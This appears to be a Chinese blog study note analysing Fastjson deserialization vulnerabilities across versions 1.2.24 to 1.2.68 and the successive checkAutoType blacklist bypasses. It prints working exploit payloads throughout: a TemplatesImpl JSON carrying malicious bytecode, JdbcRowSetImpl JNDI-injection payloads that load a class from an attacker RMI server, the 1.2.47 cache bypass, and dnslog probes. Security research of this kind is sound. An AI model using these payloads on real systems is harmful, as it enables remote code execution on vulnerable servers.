前言
Fastjson 阿里开发的一个 Java 库,可用于将 Java 对象转换为其 JSON 格式、 JSON 字符串转换为等效的 Java 对象。Fastjson 1.2.24 版本的远程代码执行漏洞开始,因为官方的各种奇葩修补方式不断被爆出新的反序列化漏洞。Fastjson 以前一直没有关注过,但是最近发现这个在项目上出现的次数有些过于频繁了,所以学习总结一下 Fastjson 反序列化漏洞。本文仅作学习记录。
https://github.com/alibaba/fastjson
Fastjson 1.2.24
17年 Fastjson 1.2.24版本被爆出存在反序列化漏洞,这个洞算是整个 Fastjson 反序列化漏洞史的开端。
FastJson 序列化对象为字符串的方法主要就是 toJSONString
方法,而反序列化还原对象的方法有三个:parseObject(String text)
、parse (String text)
、parseObject(String text, Class\ clazz)
其中 parseObject
返回 JSONObject
而 parse
返回的是实际类型的对象。当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject
来获取数据。
而在反序列化的过程里会自动去调用反序列化对象中的 getter、setter方法以及构造函数,这就是 Fastjson 反序列化漏洞产生的原因,具体的分析过程网上有很多就不详细写了,可以看这篇文章http://blog.topsec.com.cn/fastjson-1-2-24%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e6%b7%b1%e5%ba%a6%e5%88%86%e6%9e%90/
总结一下通过这三种方式去反序列化 json 字符串时 getter和setter的调用情况
parseObject(String text)
、parse (String text)
、parseObject(String text, Class\ clazz)
parseObject(String text, Class\ clazz)
setter
1
2
3
4
5方法名长度大于4且以set开头
非静态函数
返回类型为void或当前类
参数个数为1个
方法为 public 属性getter
1
2
3
4
5
6
7方法名需要长于4
非静态方法
以 get 字符串开头,且第四个字符需要是大写字母
方法不能有参数
返回值类型继承自Collection \|\| Map \|\| AtomicBoolean \|\| AtomicInteger \|\|AtomicLong
getter 方法对应的属性只能有 getter 不能有setter方法
方法为 public 属性parseObject(String text)
setter
1
2
3
4
5方法名长度大于4且以set开头
非静态函数
返回类型为void或当前类
参数个数为1个
public 属性getter
1
2
3
4方法名长度大于4且以get开头
非静态函数
方法不能有参数
public 属性parse (String text)
setter
1
2
3
4
5方法名长度大于4且以set开头
非静态函数
返回类型为void或当前类
参数个数为1个
public 属性getter
1
2
3
4
5
6
7方法名需要长于4
非静态方法
以 get 字符串开头,且第四个字符需要是大写字母
方法不能有参数
返回值类型继承自Collection \|\| Map \|\| AtomicBoolean \|\| AtomicInteger \|\|AtomicLong
getter 方法对应的属性只能有 getter 不能有setter方法
方法为 public 属性
所以只要找到某个类的 setter 方法和 getter 方法或者是构造函数中存在恶意调用的代码,就算是一条成功的利用链。
TemplatesImpl
研究过 TemplatesImpl 链的都知道,TemplatesImpl 链的入口有两个一个是 TemplatesImpl#newTransformer()
还有 TemplatesImpl#getOutputProperties(),其中 TemplatesImpl#getOutputProperties() 刚好就是一个getter 方法。
构造 TemplatesImpl 链
1 | import com.alibaba.fastjson.JSON; |
把他转换成 fastjson 格式,可以看到构造的时候 TemplatesImpl 对象关键的三个属性 _bytecodes
、_name
、_tfactory
_bytecodes 为加载的字节码,私有属性但是有setter 方法,所以直接指定赋值就行。
_name 同样也是私有属性,也存在 setter 方法。
至于这个属性的作用,在 getTransletInstance() 函数里会检测_name
是否为空,为空的话直接 return null ,所以我们得给_name
随便赋个值。
_tfactory
属性是私有属性而且无 setter 方法,_tfactory
类型为 TransformerFactoryImpl 类对象,有很多地方会调用 _tfactory 的某些方法,所以为空的话会导致报错退出。因为是私有属性而且无 setter 方法所以我们没办法直接给其赋值。
这里有个小技巧,fastjson 在反序列化时会判断其是否存在无参构造函数,如果存在的话会直接去调用 setter 方法给属性赋值,而没有 setter 方法的属性如果开启了Feature.SupportNonPublicField
的话也会通过反射去给属性赋值。
判断 Feature.SupportNonPublicField
是否开启
com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class
这部分代码在 com.alibaba.fastjson.util.FieldInfo
可以看到通过反射赋值时是支持给私有属性赋值的。
关于无参构造函数和有参构造函数的调用逻辑在/com/alibaba/fastjson/util/JavaBeanInfo.class
121行 获取默认构造函数也就是无参构造函数,131 判断获取到的无参构造函数是否存在,不存在则去获取构造的构造函数,也就是有参构造函数(默认会去找参数最多的那一个构造函数),所以说当无参构造函数存在时直接就可以给所有属性赋值,包括私有属性。
再说回_tfactory
属性虽然是私有属性,也没有 setter 方法。但是 TemplatesImpl 有无参构造函数,我们直接在 json 字符串里声明 _tfactory
他就会给他赋值。所以最终的 payload
1 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAD0vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yDAAfACABABxieXRlY29kZXMvSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAANAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEAALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAATAAQAFAANABUACwAAAAQAAQAQAAEAEQAAAAIAEg=="],"_name":"11111","_tfactory":{},"_outputProperties":{}} |
这里直接给TransformerFactoryImpl类型的 _tfactory 赋了一个空值,反序列化的时候会自动 new 一个 TransformerFactoryImpl 对象给其赋值。最后记得申明一个 _outputProperties
属性,因为调用的入口是getOutputProperties
至于为啥 _outputProperties
属性 对应的 setter 方法是 getOutputProperties
,fastjson 在获取setter方法的时候会忽略 属性名前的 _
,而且当setter 方法的第4位不是大写时,以f
开头也是可以的
这个 payload 只有在开启了Feature.SupportNonPublicField
的时候才能调用成功,有一点鸡肋。而这个 Feature.SupportNonPublicField
在 Fastjson 1.2.22 引入,所以小于 1.2.22 这个 payload 也用不了
JdbcRowSetImpl
JdbcRowSetImpl 利用链原理就是 jndi 注入,可以通过 RMI+JNDI 或者 RMI+LDAP 进行利用
触发的地方在 setAutoCommit,AutoCommit参数的 setter 方法
在 1291 行去调用了 this.connect(),去连接我们构造的恶意 jndi 服务端,其中 URL 参数为 dataSourceName ,存在 setter 方法,所以能够直接赋值。
构造 Payload
{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://127.0.0.1:1099/badClassName”, “autoCommit”:true}
构造恶意的 rmi 服务端
虽然使用 JdbcRowSetImpl 利用链去构造 payload 不用开启 Feature.SupportNonPublicField ,但是对 jdk 版本要求比较严格。
Oracle JDK 6u45、7u21 之后:
java.rmi.server.useCodebaseOnly 的默认值被设置为 true
禁用自动加载远程类文件,仅从 CLASSPATH 和当前 JVM 的 java.rmi.server.codebase 指定路径加载
RMI + JNDI References
Oracle JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 选项,默认值为 false
不允许 RMI 和 CORBA 从远程的 Codebase 加载 Reference 工厂类
LDAP + JNDI References
Oracle JDK 11.0.1、8u191、7u201、6u211之后:
设置 com.sun.jndi.ldap.object.trustURLCodebase 默认为 false
禁止 LDAP 协议使用远程 codebase
绕过 jdk 版本限制进行 jndi 注入
http://j0k3r.top/2020/08/11/java-jndi-inject/#%E5%AE%9E%E6%88%98%E6%A1%88%E4%BE%8B
Fastjson 1.2.25-1.2.41
Fastjson 1.2.25 引入了 checkAutoType 安全机制,默认关闭的情况下不能反序列化类,开启后对反序列化类进行黑名单检测。同时也提供了添加和删除黑名单类的接口,用户也可以自己添加不可反序列化的类。
checkAutoType 安全机制实现的逻辑主要在 com.alibaba.fastjson.parser.ParserConfig
默认的黑名单为 denyList
1 | bsh,com.mchange,com.sun. |
先检测白名单后黑名单,白名单默认是空的,检测方式其实就是判断是否以名单中的字符串开始。
黑名单里把 java.rmi 和 org.apache.commons.collections.Transformer 还有一些常见的反序列化链用到的类都给 ban 了,所以之前的 payload 也用不了了。
未开启 AutoType 或者命中了黑名单会爆 autoType is not support.
在黑名单检测之后 clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
去加载类,在TypeUtils.loadClass
里为了兼容带有描述符的类名,会把类名头部的[
去了还有以L
起头;
结尾时也会把L
和 ;
去了。
所以这里有个逻辑漏洞,我们给类名的头尾加上 L
[
;
可以绕过黑名单检测,接着在加载类的时候又会把这些字符给去了。
前提是开启了 AutoType。
Fastjson 1.2.25-1.2.42
Fastjson 1.2.42 版本对 Fastjson 1.2.25 逻辑漏洞绕过黑名单的问题进行了修复,并且黑名单采用了哈希加密混淆。这么久
主要修改的部分还是在 com.alibaba.fastjson.parser.ParserConfig
黑名单:
有师傅去碰撞过这些 hash,找到了其中一些 hash 对应的类。
https://github.com/LeadroyaL/fastjson-blacklist
接着看黑名单检测的逻辑,在检测之前对类名处理了一下,其中一些参数也使用了 hash 进行混淆。但是应该就是处理 L
[
;
这些字符,去除头尾的 L
[
;
这里只会处理一次,而在 loadclass 里是递归的去处理的,所以双写就能绕过(这修复认真的嘛)
Fastjson 1.2.25-1.2.43
修改了 com.alibaba.fastjson.parser.ParserConfig
处理 L
[
;
的逻辑,检测类名头部如果以 L
L
开头,如果是则直接抛出异常。
这里说一些为什么在加载类的时候要去忽略 L
[
;
这些字符其实是 JNI 字段描述符,类似于 php 序列化里的 O表示对象、s 表示字符串。
图来自 https://www.playpi.org/2019041301.html
而 [
则是用来表示数组的,”[I” 就表示int[],[L
表示对象数组
既然只会检测LL
我们还可以用 [
绕过,因为[
表示数组,所以类名里有他的话,会进行特殊处理。payload就需要重新构造一下。
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{"dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true} |
Fastjson 1.2.25-1.2.45
在 Fastjson 1.2.44 里对 1.2.43 进行了修复直接判断类名以 [
开头直接抛出异常,以;
结尾抛出异常。因为在 loadclass
只有 L
开头同时;
结尾时才会忽略。这样就没办法通过以前的办法绕过了。
1.2.45 版本被爆出了一个利用黑名单之外的类可以用来 RCE ,利用的是 mybatis 库的org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
类。
1 | { |
Fastjson <=1.2.47
这个漏洞是 fastjson 漏洞史上最严重的一个,可以在唯一一个在未开启 autotype 的情况下可以利用的 payload
payload
1 | [{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true}] |
payload 是数组形式,其中 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true}
就是之前正常的 jndi 注入的 paylaod 。
还是先来看 com.alibaba.fastjson.parser.ParserConfig
checkAutoType 部分
这里有好几个 if 用来获取类,第一个就是 autoType 开启的情况下去黑白名单检测成功之后直接返回用户指定的类,失败的话就直接抛出异常不继续往下走。
所以这里必须在 autoType 未开启的情况下,会通过 clazz = TypeUtils.getClassFromMapping(typeName); 去获取类,这里的 typeName 就是 @type 里指定的类。
getClassFromMapping 方法其实就是从 Mappings 字典里去获取
打个断点看看 Mappings 里有啥,Mappings 中存储着类名字符串以及对应类对象,它起到一个缓存作用。如果 @type
指定的类,在缓存 Mappings 字典里找到的话,跳过 checkAutoType 检测直接返回类对象。这里就是这个漏洞的关键,只要在 Mappings 里添加进我们需要反序列化的类,就能绕过 checkAutoType 的黑名单检测。
我们看 payload 的第一部分,@type 为 java.lang.Class,其并不在 Mappings 里。
1 | {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"} |
如果不在 Mappings 里的类就继续往下,通过 clazz = this.deserializers.findClass(typeName); 去获取。
看 findClass 方法,这里有会在 buckets 数组里寻找,如果@type
在 buckets 存在的话就返回类
一样的打个断点看一下 buckets 数组的内容,里边存了一些基础的类。
java.lang.Class 也在其中,所以这里命中之后 checkAutoType 方法返回类。回到 /com/alibaba/fastjson/parser/DefaultJSONParser.class
返回的类赋值给 clazz ,接着就是对 clazz 做各种处理。
这里一直到 365 行开始反序列化
跟进deserializer.deserialze() 方法
com/alibaba/fastjson/serializer/MiscCodec.class
这里 lexer.token() 为 16,直接看这部分,这里处理 json 中的 val 字段(com.sun.rowset.JdbcRowSetImpl)并赋值给 objVal
接着在 266行的位置,又把 objVal 赋值给 strVal 。
在 303 行的位置判断 clazz == Class.class ,这里的 clazz 就是前边传入的 clazz,也就是 java.lang.Class
,所以这里自然符合条件,通过 TypeUtils.loadClass 去加载 strVal 也就是 com.sun.rowset.JdbcRowSetImpl。
继续跟进 loadClass ,可以看到在加载的时候先判断类是否在 mappings 中,如果不存在,加载完成之后会添加进 mappings。
com/alibaba/fastjson/util/TypeUtils.class
所以这里我们就把我们需要用到的恶意类 com.sun.rowset.JdbcRowSetImpl 添加进了 mappings,等下次反序列化进入 checkAutoType 时就可以绕过黑白名单检测。这就是 payload 第一部分 {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
的作用。
第二部分的反序列化就和之前的一样了。
fastjson <=1.2.68
fastjson 1.2.68 更新了一个新的安全机制 safeMode,在开启的情况下 checkAutoType 方法会直接抛出异常。连绕过的机会都不给了,而且在陆陆续续的版本更迭 checkAutoType 方法的代码也更新了许多但是逻辑基本没变。
但是被爆出在开启 AutoType 和 不开启 safeMode 的情况下可以通过 expectClass 绕过 AutoType
payload
1 | {"@type":"java.lang.AutoCloseable", "@type":"Evil","name":"/System/Applications/Calculator.app/Contents/MacOS/Calculator"} |
说一下漏洞比较关键的地方
在解析第二个 @type 时会调用 userType = config.checkAutoType(ref, expectClass, lexer.getFeatures());
此时 ref 为 Evil 也就是我们构造等恶意类,expectClass 为 java.lang.AutoCloseable,expectClass 称之为期望类。
可以看到在不开启AutoType 的情况下 只要 expectClassFlag 为true 进行 loadClass。
而 expectClassFlag 取决于 expectClass 此时 expectClass 为 java.lang.AutoCloseable
这里满足条件赋值 expectClassFlag = true;
接着在 1189行这里去加载类 typeName 也就是我们构造的 Evil。
加载完成后赋值给 clazz ,最后还会判断一次 clazz 是否为 expectClass 的子类,如果是的话才会 return clazz。这也是为啥我们构造的 Evil 里需要继承 java.lang.AutoCloseable,这样是这个漏洞最大的限制。
真正利用的时候还需要去找一个继承 java.lang.AutoCloseable 的类,利用起来还是比较困难的
写文件的 payload 。
1 | { |
Dnslog 探测 Fastjson
经常有师傅在没有报错的情况下利用 dnslog 去探测 Fastjson
基本就是利用黑名单以外的类或者是 buckets 、Mappings 内的类,有些是可以无视 AutoType 的。
1 | {"@type":"java.net.InetAddress","val":"dnslog"} |
提一嘴,我觉得其实 dnslog 探测成功并不能说 fastjson 存在反序列化漏洞最多算个 ssrf,毕竟 按照fastjson 官方的修复方式,主要还是针对那些能够写文件或者 getshell 的漏洞链。
一些突破黑名单的 Paylod
收集中。。。慢慢更新